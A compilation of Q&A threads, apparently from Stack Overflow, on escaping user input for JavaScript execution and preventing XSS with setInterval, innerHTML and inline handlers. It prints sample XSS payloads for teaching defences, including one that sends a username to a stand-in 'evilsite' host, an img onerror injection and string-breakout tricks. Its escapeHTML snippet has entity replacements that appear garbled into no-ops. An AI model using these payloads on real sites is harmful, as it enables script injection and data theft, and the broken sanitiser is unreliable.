I have a syntax error and i can't solve it at the moment.
Task: C# app with Acrobat JS Invoke...
I pass this as a string command:
acrofields.ExecuteThisJavascript(#"this.getField(""TM"").value = """ + TM_Textbox.Text + #""";");
I use verbatim string to make my life easier in other situations (similar to this). So as you can see the textbox content has to be in "" as well. And this works fine! BUT: If i have a Path as content:
\\\Computername\Folder1\Folder2\\...
it won't work. I have tried many possibilities of the quoting.
Since it is JavaScript that will be executed, turn your internal quotes into single quotes:
acrofields.ExecuteThisJavascript(#"this.getField('TM').value = '" + TM_Textbox.Text + #"';");
or, better yet:
string execStr = string.Format("this.getField('TM').value = '{0}';", TM_TextBox.Text);
acrofields.ExecuteThisJavascript(execStr);
Of course, you also probably want to sanitize the textbox input to prevent malicious script attacks.
Related
I'm in a situation where I will need to pass in a shell bash script from node. This script breaks template literals since it contains variables like
${foo}
So I want to completely ignore syntax like
" $ '
And so on. What alternatives do you see for accomplishing this?
I have considered using JSON somehow but did not succeed, maybe I should encode the content?
Isn't escaping what you are looking for ?
const str = `\${im-escaped}` // '${im-escaped}'
I'm going through OWASP Cross Site Scripting Prevent Cheat Sheet. In rule #3 it says:
Please note there are some JavaScript functions that can never safely use untrusted data as input - EVEN IF JAVASCRIPT ESCAPED!
<script>
window.setInterval('...EVEN IF YOU ESCAPE UNTRUSTED DATA YOU ARE XSSED HERE...');
</script>
To clarify:
I know that using setInterval et al. is safe with your own content.
I know that one must validate, escape and/or sanitise external content.
My understanding is that rule #3 sorts of imply that an attacker can bypass any XSS filters you can think of if you use setInterval.
Do you have an example of what they mean? What kind of XSS attack you'll never be safe from using setInterval?
There is a similar question here: .setinterval and XSS unfortunately the answer didn't help me.
Some background first:
Escaping to defend against XSS involves adding suitable escape characters so that rogue data can't break out of wherever you put it and be evaluated as JavaScript.
e.g. given user input of xss' + window.location = "http://evilsite/steal?username=" + encodeURLComponent(document.getElementById("user-widget").textContent) + '
If you inserted it into a string literal with server-side code:
const userinput = '<?php echo $_GET("userinput"); ?>'
You'd get:
const userinput = 'xss' + window.location = "http://evilsite/steal?username=" + encodeURLComponent(document.getElementById("user-widget").textContent) + ''`
Then the ' would break out of the string literal in the JS, steal the username, and send it to the attacker's website. (There are worse things than usernames which could be stolen.
Escaping is designed to prevent the data from breaking out of the string literal like that:
const userinput = 'xss\' + window.location = \"http://evilsite/steal?username=\" + encodeURLComponent(document.getElementById(\"user-widget\").textContent) + \''`
So the attacking code just becomes part of the string and not evaluated as raw code.
The problem with passing a string to setInterval (or setTimeout, new Function, eval, etc) is that they are functions designed to evaluate code.
The attacker doesn't need to break out of the string literal to have their code executed. It's happening already.
My question is about understanding why setInterval can never be safe from XSS.
That isn't what the warning you quoted said. It said it can never safely use untrusted data as input. If you're putting your own code there, it is perfectly safe. It is when you evaluate some user input that you have problems.
Passing a string to setInterval is a bad idea anyway. It is hard to debug and relatively slow.
Pass a function instead. You can even use user input safely then (since it isn't being evaluated as code, it is just a variable with a string in it).
const userinput = "properly escaped user input";
setInterval(() => {
document.body.appendChild(
document.createTextNode(userinput)
);
}, 1000);
Context:
I want to pass a title field into an Angular attribute. The title field is sometimes crazy with the characters people put in.
I have the following Csharp property:
Model.StoryTitle = "!"£$%^&*()<>;><~andanythingelsethatisweird";
<my-directive-thing story-title="#Model.StoryTitle"></my-directive-thing>
I also have this on a page that pulls the same field out of an Ajax call and gets populated by Kendo (darn legacy frameworks):
<my-directive-thing story-title="#= storyTitle #"></my-directive-thing>
On my directive side, I have the following code:
var storyTitle = $attrs.storyTitle || "";
Issue:
Due to the issue of having weird characters sometimes, I decided to escape it on the javascript side:
<my-directive-thing story-title="#= escape(storyTitle) #"></my-directive-thing>
The job was then easy as I put an unescape in the directive:
var storyTitle = unescape($attrs.storyTitle) || "";
Then everything works fine.
However, I don't know an equivalent for the Csharp.
Question:
Is there a trick I'm missing on the JavaScript + Csharp way of making sure ugly characters don't break attributes?
Escape those characters or transform those characters to HTML enteties. You should not do that on your client side. Your backend should deliver nice encoded/decoded data.
Model.StoryTitle = HttpUtility.HtmlDecode("!"£$%^&*()<>;><~andanythingelsethatisweird");
> HttpUtility.HtmlDecode() documentation
When I allow users to insert data as an argument to the JS innerHTML function like this:
element.innerHTML = “User provided variable”;
I understood that in order to prevent XSS, I have to HTML encode, and then JS encode the user input because the user could insert something like this:
<img src=a onerror='alert();'>
Only HTML or only JS encoding would not help because the .innerHTML method as I understood decodes the input before inserting it into the page. With HTML+JS encoding, I noticed that the .innerHTML decodes only the JS, but the HTML encoding remains.
But I was able to achieve the same by double encoding into HTML.
My question is: Could somebody provide an example of why I should HTML encode and then JS encode, and not double encode in HTML when using the .innerHTML method?
Could somebody provide an example of why I should HTML encode and then
JS encode, and not double encode in HTML when using the .innerHTML
method?
Sure.
Assuming the "user provided data" is populated in your JavaScript by the server, then you will have to JS encode to get it there.
This following is pseudocode on the server-side end, but in JavaScript on the front end:
var userProdividedData = "<%=serverVariableSetByUser %>";
element.innerHTML = userProdividedData;
Like ASP.NET <%= %> outputs the server side variable without encoding. If the user is "good" and supplies the value foo then this results in the following JavaScript being rendered:
var userProdividedData = "foo";
element.innerHTML = userProdividedData;
So far no problems.
Now say a malicious user supplies the value "; alert("xss attack!");//. This would be rendered as:
var userProdividedData = ""; alert("xss attack!");//";
element.innerHTML = userProdividedData;
which would result in an XSS exploit where the code is actually executed in the first line of the above.
To prevent this, as you say you JS encode. The OWASP XSS prevention cheat sheet rule #3 says:
Except for alphanumeric characters, escape all characters less than
256 with the \xHH format to prevent switching out of the data value
into the script context or into another attribute.
So to secure against this your code would be
var userProdividedData = "<%=JsEncode(serverVariableSetByUser) %>";
element.innerHTML = userProdividedData;
where JsEncode encodes as per the OWASP recommendation.
This would prevent the above attack as it would now render as follows:
var userProdividedData = "\x22\x3b\x20alert\x28\x22xss\x20attack\x21\x22\x29\x3b\x2f\x2f";
element.innerHTML = userProdividedData;
Now you have secured your JavaScript variable assignment against XSS.
However, what if a malicious user supplied <img src="xx" onerror="alert('xss attack')" /> as the value? This would be fine for the variable assignment part as it would simply get converted into the hex entity equivalent like above.
However the line
element.innerHTML = userProdividedData;
would cause alert('xss attack') to be executed when the browser renders the inner HTML. This would be like a DOM Based XSS attack as it is using rendered JavaScript rather than HTML, however, as it passes though the server it is still classed as reflected or stored XSS depending on where the value is initially set.
This is why you would need to HTML encode too. This can be done via a function such as:
function escapeHTML (unsafe_str) {
return unsafe_str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\"/g, '"')
.replace(/\'/g, ''')
.replace(/\//g, '/')
}
making your code
element.innerHTML = escapeHTML(userProdividedData);
or could be done via JQuery's text() function.
Update regarding question in comments
I just have one more question: You mentioned that we must JS encode
because an attacker could enter "; alert("xss attack!");//. But if we
would use HTML encoding instead of JS encoding, wouldn't that also
HTML encode the " sign and make this attack impossible because we
would have: var userProdividedData =""; alert("xss attack!");//";
I'm taking your question to mean the following: Rather than JS encoding followed by HTML encoding, why don't we don't just HTML encode in the first place, and leave it at that?
Well because they could encode an attack such as <img src="xx" onerror="alert('xss attack')" /> all encoded using the \xHH format to insert their payload - this would achieve the desired HTML sequence of the attack without using any of the characters that HTML encoding would affect.
There are some other attacks too: If the attacker entered \ then they could force the browser to miss the closing quote (as \ is the escape character in JavaScript).
This would render as:
var userProdividedData = "\";
which would trigger a JavaScript error because it is not a properly terminated statement. This could cause a Denial of Service to the application if it is rendered in a prominent place.
Additionally say there were two pieces of user controlled data:
var userProdividedData = "<%=serverVariableSetByUser1 %>" + ' - ' + "<%=serverVariableSetByUser2 %>";
the user could then enter \ in the first and ;alert('xss');// in the second. This would change the string concatenation into one big assignment, followed by an XSS attack:
var userProdividedData = "\" + ' - ' + ";alert('xss');//";
Because of edge cases like these it is recommended to follow the OWASP guidelines as they are as close to bulletproof as you can get. You might think that adding \ to the list of HTML encoded values solves this, however there are other reasons to use JS followed by HTML when rendering content in this manner because this method also works for data in attribute values:
<a href="javascript:void(0)" onclick="myFunction('<%=JsEncode(serverVariableSetByUser) %>'); return false">
Despite whether it is single or double quoted:
<a href='javascript:void(0)' onclick='myFunction("<%=JsEncode(serverVariableSetByUser) %>"); return false'>
Or even unquoted:
<a href=javascript:void(0) onclick=myFunction("<%=JsEncode(serverVariableSetByUser) %>");return false;>
If you HTML encoded like mentioned in your comment an entity value:
onclick='var userProdividedData ="";"' (shortened version)
the code is actually run via the browser's HTML parser first, so userProdividedData would be
";;
instead of
";
so when you add it to the innerHTML call you would have XSS again. Note that <script> blocks are not processed via the browser's HTML parser, except for the closing </script> tag, but that's another story.
It is always wise to encode as late as possible such as shown above. Then if you need to output the value in anything other than a JavaScript context (e.g. an actual alert box does not render HTML, then it will still display correctly).
That is, with the above I can call
alert(serverVariableSetByUser);
just as easily as setting HTML
element.innerHTML = escapeHTML(userProdividedData);
In both cases it will be displayed correctly without certain characters from disrupting output or causing undesirable code execution.
A simple way to make sure the contents of your element is properly encoded (and will not be parsed as HTML) is to use textContent instead of innerHTML:
element.textContent = "User provided variable with <img src=a>";
Another option is to use innerHTML only after you have encoded (preferably on the server if you get the chance) the values you intend to use.
I have faced this issue in my ASP.NET Webforms application. The fix to this is relatively simple.
Install HtmlSanitizationLibrary from NuGet Package Manager and refer this in your application. At the code behind, please use the sanitizer class in the following way.
For example, if the current code looks something like this,
YourHtmlElement.InnerHtml = "Your HTML content" ;
Then, replace this with the following:
string unsafeHtml = "Your HTML content";
YourHtmlElement.InnerHtml = Sanitizer.GetSafeHtml(unsafeHtml);
This fix will remove the Veracode vulnerability and make sure that the string gets rendered as HTML. Encoding the string at code behind will render it as 'un-encoded string' rather than RAW HTML as it is encoded before the render begins.
Is this a bug within JavaScript? http://jsfiddle.net/SommerEngineering/mr8sZ/
<a href='javascript:test("test")'>Works</a><br/>
<a href='javascript:test("test"")'>Does not work</a>
Its looks like JS goes into the string, converts back the " into " and then tries to execute the command, which is then of course wrong.
You are correct. What you're writing there is html, so the html entity "e; is rendered as a double quote ", then executed as JavaScript. Because test("test""); is not valid javascript, this will throw an error. If you want to pass test" into the function, you would escape the quote like this: test("test\"");
Inline JavaScript is not a good practice and has tons of non-intuitive issues. Read some of these results: Why is inline JS bad?
Here's an example of how to do this properly.
var a = document.getElementById('myElem');
a.addEventListener('click', function() {
test('test"');
});
Just note there are many ways to get element references and you might want to use a class and attach the handler within a loop.
This is not a bug. The double quotes work because the HTML attribute has single quotes. However, the " entity is evaluated by HTML, so the data passed to the JavaScript engine is:
javascript:test("test"")
If you want to escape the quotes use
javascript:test("test\"")
as a \ escapes the quote.
This is not a js bug, indeed it's an html behavior. The " is an html entity that gets decoded to " prior to js execution.
Anyway, avoid to have embedded js in html, it's not a good practice, your case is one reason.